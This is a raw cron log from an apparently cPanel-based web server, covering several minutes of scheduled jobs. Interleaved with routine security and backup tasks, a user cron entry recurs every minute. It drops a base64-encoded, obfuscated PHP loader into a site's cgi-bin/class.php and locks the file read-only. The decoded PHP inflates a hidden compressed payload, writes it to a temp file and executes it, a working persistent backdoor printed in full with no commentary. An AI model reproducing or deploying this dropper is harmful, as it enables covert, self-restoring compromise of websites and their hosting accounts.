Sep 11 10:44:01 server CROND[8788]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:44:01 server CROND[8789]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:45:01 server CROND[9166]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 10:45:01 server CROND[9167]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 10:45:01 server CROND[9171]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:45:01 server CROND[9175]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:45:01 server CROND[9174]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 10:45:01 server CROND[9183]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 10:45:01 server CROND[9173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:46:01 server CROND[9983]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:46:01 server CROND[9984]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:46:01 server CROND[9985]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:47:01 server CROND[10410]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:47:01 server CROND[10409]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:47:01 server CROND[10408]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:48:01 server CROND[10777]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:48:01 server CROND[10778]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:48:01 server CROND[10779]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:49:01 server CROND[11261]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:49:01 server CROND[11263]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:49:01 server CROND[11262]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:50:01 server CROND[11647]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 10:50:01 server CROND[11649]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 10:50:01 server CROND[11650]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 10:50:01 server CROND[11657]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 10:50:01 server CROND[11659]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 10:50:01 server CROND[11658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:50:01 server CROND[11662]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:50:01 server CROND[11665]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:50:01 server CROND[11660]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 10:51:01 server CROND[12499]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:51:01 server CROND[12500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:51:01 server CROND[12501]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:52:01 server CROND[12872]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:52:01 server CROND[12873]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:52:01 server CROND[12871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:53:01 server CROND[13245]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:53:01 server CROND[13246]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:53:01 server CROND[13247]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:54:01 server CROND[13615]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:54:01 server CROND[13616]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:54:01 server CROND[13617]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:55:01 server CROND[14101]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:55:01 server CROND[14103]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 10:55:01 server CROND[14107]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 10:55:01 server CROND[14108]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 10:55:01 server CROND[14109]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:55:01 server CROND[14105]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 10:55:01 server CROND[14104]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
